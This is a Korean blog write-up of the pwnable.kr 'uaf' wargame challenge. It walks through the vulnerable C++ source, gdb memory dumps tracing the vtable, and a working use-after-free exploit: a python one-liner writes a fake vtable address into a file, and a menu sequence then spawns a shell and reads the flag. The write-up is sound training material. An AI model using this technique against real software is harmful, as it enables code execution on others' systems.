본문 바로가기

pwnable/pwnable.kr

[pwnable.kr Toddler's Bottle] uaf write up

728x90

 

Use After Free bug라서 uaf인가 보다.

들어가 보니 저한테는 끔찍한 일이 있었습니다.

 

uaf@prowl:~$ ls -l
total 24
-rw-r----- 1 root uaf_pwn    22 Sep 26  2015 flag
-r-xr-sr-x 1 root uaf_pwn 15463 Sep 26  2015 uaf
-rw-r--r-- 1 root root     1431 Sep 26  2015 uaf.cpp

 

저는 cpp을 잘 볼 줄 모릅니다.. hackctf도 g++로 풀어야 하는 거 건너뛰고 풀고 있었는데..!

그래도 일단 떨리는 손으로 침착하게 코드를 확인해봤습니다.

 

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system("/bin/sh");
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){
                cout << "My name is " << name << endl;
                cout << "I am " << age << " years old" << endl;
        }
};

class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                                break;
                }
        }

        return 0;
}

 

맙소사.. 저는 c++객체를 볼 줄 모릅니다.. ㅠㅠ

일단 c++객체를 검색해보기 전에 찬찬히 코드를 확인해보니 data라는 곳에 argv[1]로 넣어준 길이만큼 argv[2]의 경로에서 읽어올 수 있다는 것을 확인했습니다. 아직 잘 모르겠지만, data를 overflow 시켜 ret주소에 Human객체의 private 쪽에 있는 give_shell() 함수를 위치시키도록 하면 될 것 같다는 생각이 듭니다!

아! 그러고 보니 문제 이름이 Use After Free bug였던 것을 생각하니 인스턴스를 free 시킨 후에도 메모리에 남아있다는 것 같습니다. 그렇게 되면 private으로 접근을 원래 못하던 것을 접근이 가능하다는 것 같습니다.

 

private, protected, public은 찾아보니 자바를 공부할 때 봤던 접근 지정자와 마찬가지의 역할을 하는데, 객체 안에서 나누어져 있는 형태입니다. private는 외부에서 전혀 접근(기반 클래스의 객체로 접근, 파생 클래스의 객체로 접근)이 되지를 않고 파생 클래스의 정의부에서도 접근이 안됩니다. protected는 private과 마찬가지이지만 파생 클래스의 정의부에서는 접근이 가능하다고 합니다.

 

일단 gdb로 까 봤는데.. 역시 어지러움이 동반합니다 ㅠㅠ 함수명은 왜 다 어렵게 쓰여있는 걸까요..

일단 data의 위치를 알기 위해서 case 2에 있는 생성하는 부분을 보고, read의 인자로 들어가는 곳을 보겠습니다.

 

   0x0000000000401000 <+316>:   mov    -0x60(%rbp),%rax
   0x0000000000401004 <+320>:   add    $0x8,%rax
   0x0000000000401008 <+324>:   mov    (%rax),%rax
---Type <return> to continue, or q <return> to quit---
   0x000000000040100b <+327>:   mov    %rax,%rdi
   0x000000000040100e <+330>:   callq  0x400d20 <atoi@plt>
   0x0000000000401013 <+335>:   cltq
   0x0000000000401015 <+337>:   mov    %rax,-0x28(%rbp)
   0x0000000000401019 <+341>:   mov    -0x28(%rbp),%rax
   0x000000000040101d <+345>:   mov    %rax,%rdi
   0x0000000000401020 <+348>:   callq  0x400c70 <_Znam@plt>
   0x0000000000401025 <+353>:   mov    %rax,-0x20(%rbp)
   0x0000000000401029 <+357>:   mov    -0x60(%rbp),%rax
   0x000000000040102d <+361>:   add    $0x10,%rax
   0x0000000000401031 <+365>:   mov    (%rax),%rax
   0x0000000000401034 <+368>:   mov    $0x0,%esi
   0x0000000000401039 <+373>:   mov    %rax,%rdi
   0x000000000040103c <+376>:   mov    $0x0,%eax
   0x0000000000401041 <+381>:   callq  0x400dc0 <open@plt>
   0x0000000000401046 <+386>:   mov    -0x28(%rbp),%rdx
   0x000000000040104a <+390>:   mov    -0x20(%rbp),%rcx
   0x000000000040104e <+394>:   mov    %rcx,%rsi
   0x0000000000401051 <+397>:   mov    %eax,%edi
   0x0000000000401053 <+399>:   callq  0x400ca0 <read@plt>

 

보시면 atoi() 이후에 data를 생성하는 부분이나 read의 두 번째 인자로 들어가는 모습을 봤을 때 data의 위치는 rbp - 0x20 len의 위치는 rbp - 0x28인 것을 확인할 수 있습니다. 그렇다면 data부터 '48바이트 + 8바이트[RET]'의 크기만큼 덮어쓴다면 RET을 덮어쓸 수 있게 됩니다!

 

++ 일단! 중요한 gdb때 깨지지 않게 하는 것을 알아왔습니다. 덕분에 수월하게 할 수 있겠군요!

 

(gdb) set print asm-demangle on

 

그럼 이제 private의 위치를 알아보겠습니다.

 

   0x0000000000400fcd <+265>:   mov    -0x38(%rbp),%rax
   0x0000000000400fd1 <+269>:   mov    (%rax),%rax
   0x0000000000400fd4 <+272>:   add    $0x8,%rax
   0x0000000000400fd8 <+276>:   mov    (%rax),%rdx
   0x0000000000400fdb <+279>:   mov    -0x38(%rbp),%rax
   0x0000000000400fdf <+283>:   mov    %rax,%rdi
   0x0000000000400fe2 <+286>:   callq  *%rdx
   0x0000000000400fe4 <+288>:   mov    -0x30(%rbp),%rax
   0x0000000000400fe8 <+292>:   mov    (%rax),%rax
   0x0000000000400feb <+295>:   add    $0x8,%rax
   0x0000000000400fef <+299>:   mov    (%rax),%rdx
   0x0000000000400ff2 <+302>:   mov    -0x30(%rbp),%rax
   0x0000000000400ff6 <+306>:   mov    %rax,%rdi
   0x0000000000400ff9 <+309>:   callq  *%rdx

 

이 부분들이 switch문에서 1번으로 들어가면 있는 introduce()를 call 하는 부분이다. rbp - 0x38이 m객체가 선언된 곳이고 rbp - 0x30이 w객체가 선언된 부분인듯합니다. 첫 번째 rbp - 0x38을 기준으로 풀어보면 rbp - 38안의 값을 rax에 넣습니다. 그리고 rax안의 값을 다시 rax에 넣고 그 rax에 8을 더한 값이 rdx에 들어가게 된다. 하나씩 따라 들어가면서 보겠습니다.

 

uaf@prowl:~$ fg
gdb uaf
b *main+265
b *main+265
Breakpoint 1 at 0x400fcd
(gdb) r
Starting program: /home/uaf/uaf
1. use
2. after
3. free
1

Breakpoint 1, 0x0000000000400fcd in main ()
(gdb) x/16wx $rbp-0x38
0x7ffc3ec96a28: 0x013d8c50      0x00000000      0x013d8ca0      0x00000000
0x7ffc3ec96a38: 0x00000000      0x00000000      0x004013b0      0x00000000
0x7ffc3ec96a48: 0x00000001      0x00000000      0x00000000      0x00000000
0x7ffc3ec96a58: 0x00400de0      0x00000000      0x004013b0      0x00000000
(gdb) x/x 0x013d8c50
0x13d8c50:      0x00401570
(gdb) x/x 0x00401570
0x401570 <vtable for Man+16>:   0x0040117a

 

처음에 rax에 0x13d8c50이 들어가게 되고, 그다음 0x13d8c50을 메모리로 하는 0x00401570가 rax에 들어가게 됩니다. 다음과 같이 찾아 들어가게 되면 rdx는 0x401570에 +8을 시켜서 0x401578을 rdx에 올려 call 하게 됩니다. 그럼 여기서 0x401570은 오프셋의 베이스가 되기 때문에 0x401578과 함께 확인해보겠습니다.

 

(gdb) x/x 0x401570
0x401570 <vtable for Man+16>:   0x0040117a
(gdb) x/x 0x401578
0x401578 <vtable for Man+24>:   0x004012d2
(gdb) x/x 0x40117a
0x40117a <Human::give_shell()>: 0xe5894855
(gdb) x/x 0x4012d2
0x4012d2 <Man::introduce()>:    0xe5894855

 

보면 다음과 같이 +8하기 전인 0x401570에 우리가 찾던 give_shell() 함수가 있는 것을 확인할 수 있습니다.

이제 여기서 할 수 있는 공격 방법으로는 UAF에 맞게 m과 w를 free 시킨 후 m과 w가 있던 메모리를 덮어써서 m->introduce()를 호출해서 해당 메모리로 가면 give_shell()이 동작하도록 하면 될 것 같습니다.

 

여기서부터는 한참 헤매다가 겨우 찾았습니다..

일단 switch문을 한 번씩 실행할 때마다 확인하기 위해서 while시작 부분에 bp를 걸었습니다.

 

   0x0000000000400f92 <+206>:   mov    $0x4014fa,%esi
   0x0000000000400f97 <+211>:   mov    $0x602260,%edi
   0x0000000000400f9c <+216>:   callq  0x400cf0 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
   0x0000000000400fa1 <+221>:   lea    -0x18(%rbp),%rax
   0x0000000000400fa5 <+225>:   mov    %rax,%rsi
   0x0000000000400fa8 <+228>:   mov    $0x6020e0,%edi
   0x0000000000400fad <+233>:   callq  0x400dd0 <std::istream::operator>>(unsigned int&)@plt>
   0x0000000000400fb2 <+238>:   mov    -0x18(%rbp),%eax
   0x0000000000400fb5 <+241>:   cmp    $0x2,%eax
   0x0000000000400fb8 <+244>:   je     0x401000 <main+316>
   0x0000000000400fba <+246>:   cmp    $0x3,%eax
   0x0000000000400fbd <+249>:   je     0x401076 <main+434>
   0x0000000000400fc3 <+255>:   cmp    $0x1,%eax
   0x0000000000400fc6 <+258>:   je     0x400fcd <main+265>
   0x0000000000400fc8 <+260>:   jmpq   0x4010a9 <main+485>

 

시작하기 전에는 0x401570이 잘 들어있음을 확인했습니다.

 

(gdb) b *main+206
Breakpoint 1 at 0x400f92
(gdb) r
Starting program: /home/uaf/uaf

Breakpoint 1, 0x0000000000400f92 in main ()
(gdb) x/8wx $rbp-0x38
0x7ffeb1e960c8: 0x008bdc50      0x00000000      0x008bdca0      0x00000000
0x7ffeb1e960d8: 0x00000000      0x00000000      0x004013b0      0x00000000
(gdb) x/16wx 0x008bdc50
0x8bdc50:       0x00401570      0x00000000      0x00000019      0x00000000
0x8bdc60:       0x008bdc38      0x00000000      0x00000031      0x00000000
0x8bdc70:       0x00000004      0x00000000      0x00000004      0x00000000
0x8bdc80:       0x00000000      0x00000000      0x6c6c694a      0x00000000
(gdb) x/16wx 0x00401570
0x401570 <vtable for Man+16>:   0x0040117a      0x00000000      0x004012d2      0x00000000
0x401580 <vtable for Human>:    0x00000000      0x00000000      0x004015f0      0x00000000
0x401590 <vtable for Human+16>: 0x0040117a      0x00000000      0x00401192      0x00000000
0x4015a0 <typeinfo name for Woman>:     0x6d6f5735      0x00006e61      0x00000000      0x00000000

 

switch문에서 3번으로 들어가서 delete 시킨 후에 introduce를 시키면 어떻게 될까 한번 보겠습니다.

 

(gdb) c
Continuing.
1. use
2. after
3. free
3

Breakpoint 1, 0x0000000000400f92 in main ()
(gdb) x/8wx $rbp-0x38
0x7ffeb1e960c8: 0x008bdc50      0x00000000      0x008bdca0      0x00000000
0x7ffeb1e960d8: 0x00000000      0x00000000      0x004013b0      0x00000000
(gdb) x/16wx 0x008bdc50
0x8bdc50:       0x00000000      0x00000000      0x00000019      0x00000000
0x8bdc60:       0x008bdc38      0x00000000      0x00000031      0x00000000
0x8bdc70:       0x008bdc10      0x00000000      0x00000004      0x00000000
0x8bdc80:       0xffffffff      0x00000000      0x6c6c694a      0x00000000
(gdb) c
Continuing.
1. use
2. after
3. free
1

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400fd8 in main ()

 

delete를 하게 되면 0x401570을 가리키던 0x8bdc500으로 초기화되었습니다.

그럼 이번에 delete를 시킨 후에 "AAAA"를 갖는 파일을 인자로 넣어보겠습니다.

 

uaf@prowl:~$ echo "AAAA" > /tmp/suri_uaf/test
uaf@prowl:~$ cat /tmp/suri_uaf/test
AAAA
uaf@prowl:~$ fg
gdb -q uaf


Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) r 4 /tmp/suri_uaf/test
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/uaf/uaf 4 /tmp/suri_uaf/test

Breakpoint 1, 0x0000000000400f92 in main ()
(gdb) x/8wx $rbp-0x38
0x7ffe141b1778: 0x00d0ec50      0x00000000      0x00d0eca0      0x00000000
0x7ffe141b1788: 0x00000000      0x00000000      0x004013b0      0x00000000
(gdb) x/16wx 0x00d0ec50
0xd0ec50:       0x00401570      0x00000000      0x00000019      0x00000000
0xd0ec60:       0x00d0ec38      0x00000000      0x00000031      0x00000000
0xd0ec70:       0x00000004      0x00000000      0x00000004      0x00000000
0xd0ec80:       0x00000000      0x00000000      0x6c6c694a      0x00000000
(gdb) c
Continuing.
1. use
2. after
3. free
3

Breakpoint 1, 0x0000000000400f92 in main ()
(gdb) x/8wx $rbp-0x38
0x7ffe141b1778: 0x00d0ec50      0x00000000      0x00d0eca0      0x00000000
0x7ffe141b1788: 0x00000000      0x00000000      0x004013b0      0x00000000
(gdb) x/16wx 0x00d0ec50
0xd0ec50:       0x00000000      0x00000000      0x00000019      0x00000000
0xd0ec60:       0x00d0ec38      0x00000000      0x00000031      0x00000000
0xd0ec70:       0x00d0ec10      0x00000000      0x00000004      0x00000000
0xd0ec80:       0xffffffff      0x00000000      0x6c6c694a      0x00000000
(gdb) c
Continuing.
1. use
2. after
3. free
2
your data is allocated

Breakpoint 1, 0x0000000000400f92 in main ()
(gdb) x/8wx $rbp-0x38
0x7ffe141b1778: 0x00d0ec50      0x00000000      0x00d0eca0      0x00000000
0x7ffe141b1788: 0x00000004      0x00000000      0x00d0eca0      0x00000000
(gdb) x/16wx 0x00d0ec50
0xd0ec50:       0x00000000      0x00000000      0x00000019      0x00000000
0xd0ec60:       0x00d0ec38      0x00000000      0x00000031      0x00000000
0xd0ec70:       0x00d0ec10      0x00000000      0x00000004      0x00000000
0xd0ec80:       0xffffffff      0x00000000      0x6c6c694a      0x00000000
(gdb) x/64wx 0x00d0ec30
0xd0ec30:       0xffffffff      0x00000000      0x6b63614a      0x00000000
0xd0ec40:       0x00000000      0x00000000      0x00000021      0x00000000
0xd0ec50:       0x00000000      0x00000000      0x00000019      0x00000000
0xd0ec60:       0x00d0ec38      0x00000000      0x00000031      0x00000000
0xd0ec70:       0x00d0ec10      0x00000000      0x00000004      0x00000000
0xd0ec80:       0xffffffff      0x00000000      0x6c6c694a      0x00000000
0xd0ec90:       0x00000000      0x00000000      0x00000021      0x00000000
0xd0eca0:       0x41414141      0x00000000      0x00000015      0x00000000
0xd0ecb0:       0x00d0ec88      0x00000000      0x00000411      0x00000000
0xd0ecc0:       0x72756f79      0x74616420      0x73692061      0x6c6c6120
0xd0ecd0:       0x7461636f      0x0a0a6465      0x00000000      0x00000000
0xd0ece0:       0x00000000      0x00000000      0x00000000      0x00000000
0xd0ecf0:       0x00000000      0x00000000      0x00000000      0x00000000
0xd0ed00:       0x00000000      0x00000000      0x00000000      0x00000000
0xd0ed10:       0x00000000      0x00000000      0x00000000      0x00000000
0xd0ed20:       0x00000000      0x00000000      0x00000000      0x00000000
(gdb) c
Continuing.
1. use
2. after
3. free
2
your data is allocated

Breakpoint 1, 0x0000000000400f92 in main ()
(gdb) x/64wx 0x00d0ec30
0xd0ec30:       0xffffffff      0x00000000      0x6b63614a      0x00000000
0xd0ec40:       0x00000000      0x00000000      0x00000021      0x00000000
0xd0ec50:       0x41414141      0x00000000      0x00000019      0x00000000
0xd0ec60:       0x00d0ec38      0x00000000      0x00000031      0x00000000
0xd0ec70:       0x00d0ec10      0x00000000      0x00000004      0x00000000
0xd0ec80:       0xffffffff      0x00000000      0x6c6c694a      0x00000000
0xd0ec90:       0x00000000      0x00000000      0x00000021      0x00000000
0xd0eca0:       0x41414141      0x00000000      0x00000015      0x00000000
0xd0ecb0:       0x00d0ec88      0x00000000      0x00000411      0x00000000
0xd0ecc0:       0x72756f79      0x74616420      0x73692061      0x6c6c6120
0xd0ecd0:       0x7461636f      0x0a0a6465      0x00000000      0x00000000
0xd0ece0:       0x00000000      0x00000000      0x00000000      0x00000000
0xd0ecf0:       0x00000000      0x00000000      0x00000000      0x00000000
0xd0ed00:       0x00000000      0x00000000      0x00000000      0x00000000
0xd0ed10:       0x00000000      0x00000000      0x00000000      0x00000000
0xd0ed20:       0x00000000      0x00000000      0x00000000      0x00000000

 

이번에는 0xd0ec500x401570을 갖고 있습니다. delete후에는 역시 사라졌습니다. 그다음에 초기화되지 않은 값에 할다를 해주면서 'your data is allocated'라고 떴습니다. 그런데 어디에도 할당한 내용이 없어서 잘못 실행한 줄 알고 다시 실행해보았습니다.

이때는 data의 위치인 rbp - 0x20을 찾아봤는데요.

 

(gdb) c
Continuing.
1. use
2. after
3. free
3

Breakpoint 1, 0x0000000000400f92 in main ()
(gdb) c
Continuing.
1. use
2. after
3. free
2
your data is allocated

Breakpoint 1, 0x0000000000400f92 in main ()
(gdb) x/8wx $rbp-0x20
0x7ffee4f15830: 0x00dd7ca0      0x00000000      0x00000002      0x00000000
0x7ffee4f15840: 0x00000000      0x00000000      0x00400de0      0x00000000
(gdb) x/8wx 0x00dd7ca0
0xdd7ca0:       0x41414141      0x00000000      0x00000015      0x00000000
0xdd7cb0:       0x00dd7c88      0x00000000      0x00000411      0x00000000
(gdb) x/8wx $rbp-0x38
0x7ffee4f15818: 0x00dd7c50      0x00000000      0x00dd7ca0      0x00000000
0x7ffee4f15828: 0x00000004      0x00000000      0x00dd7ca0      0x00000000
(gdb) x/32wx 0x00dd7c50
0xdd7c50:       0x00000000      0x00000000      0x00000019      0x00000000
0xdd7c60:       0x00dd7c38      0x00000000      0x00000031      0x00000000
0xdd7c70:       0x00dd7c10      0x00000000      0x00000004      0x00000000
0xdd7c80:       0xffffffff      0x00000000      0x6c6c694a      0x00000000
0xdd7c90:       0x00000000      0x00000000      0x00000021      0x00000000
0xdd7ca0:       0x41414141      0x00000000      0x00000015      0x00000000
0xdd7cb0:       0x00dd7c88      0x00000000      0x00000411      0x00000000
0xdd7cc0:       0x72756f79      0x74616420      0x73692061      0x6c6c6120
(gdb) c
Continuing.
1. use
2. after
3. free
2
your data is allocated

Breakpoint 1, 0x0000000000400f92 in main ()
(gdb) x/32wx 0x00dd7c50
0xdd7c50:       0x41414141      0x00000000      0x00000019      0x00000000
0xdd7c60:       0x00dd7c38      0x00000000      0x00000031      0x00000000
0xdd7c70:       0x00dd7c10      0x00000000      0x00000004      0x00000000
0xdd7c80:       0xffffffff      0x00000000      0x6c6c694a      0x00000000
0xdd7c90:       0x00000000      0x00000000      0x00000021      0x00000000
0xdd7ca0:       0x41414141      0x00000000      0x00000015      0x00000000
0xdd7cb0:       0x00dd7c88      0x00000000      0x00000411      0x00000000
0xdd7cc0:       0x72756f79      0x74616420      0x73692061      0x6c6c6120
(gdb) x/8wx $rbp-0x20
0x7ffee4f15830: 0x00dd7c50      0x00000000      0x00000002      0x00000000
0x7ffee4f15840: 0x00000000      0x00000000      0x00400de0      0x00000000
(gdb)

 

다음과 같이 할당을 두 번해주었더니 원하는 위치에 들어갔습니다. 아마 처음의 위치는 w의 위치였던 것 같습니다. 하지만 m->introduce()를 먼저 실행하는데 segfault()가 나지않기 위해서는 두번 할당하고 실행해야겠습니다.

 

w의 위치를 확인해보면 다음과 같습니다.

 

(gdb) x/8wx $rbp-0x30
0x7ffee4f15820: 0x00dd7ca0      0x00000000      0x00000004      0x00000000
0x7ffee4f15830: 0x00dd7c50      0x00000000      0x00000002      0x00000000

 

예상이 맞았습니다.

이제는 파일에 0x401570 - 8의 주소를 넣고 실행시켜 3 -> 2 -> 2 -> 1 순서대로 시작해보겠습니다.

 

uaf@prowl:~$ python -c 'print "\x68\x15\x40\x00"' > /tmp/suri_uaf/test
uaf@prowl:~$ ./uaf 4 /tmp/suri_uaf/test
1. use
2. after
3. free
3
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
2
your data is allocated
1. use
2. after
3. free
1
$ id
uid=1029(uaf) gid=1029(uaf) egid=1030(uaf_pwn) groups=1030(uaf_pwn),1029(uaf)
$ cat flag

 

드디어 ㅠㅠㅠㅠㅠ 장황한 글도 끝나고 공격도 끝났네요ㅠㅠㅠㅠㅠㅠ

 

실행을 여러번 하느라 힙 주소가 계속 바뀌어서 글이 중구난방이 되었지만.. 최대한 푸는 과정을 적어보고 싶었습니다 ㅠㅠ 앞으로 자제해야겠군요..

 

 

<참고>

https://thrillfighter.tistory.com/531

https://shayete.tistory.com/entry/7-Use-After-Free

 

 

잘못된 점이나 부족한 점 지적해주시면 감사하겠습니다

728x90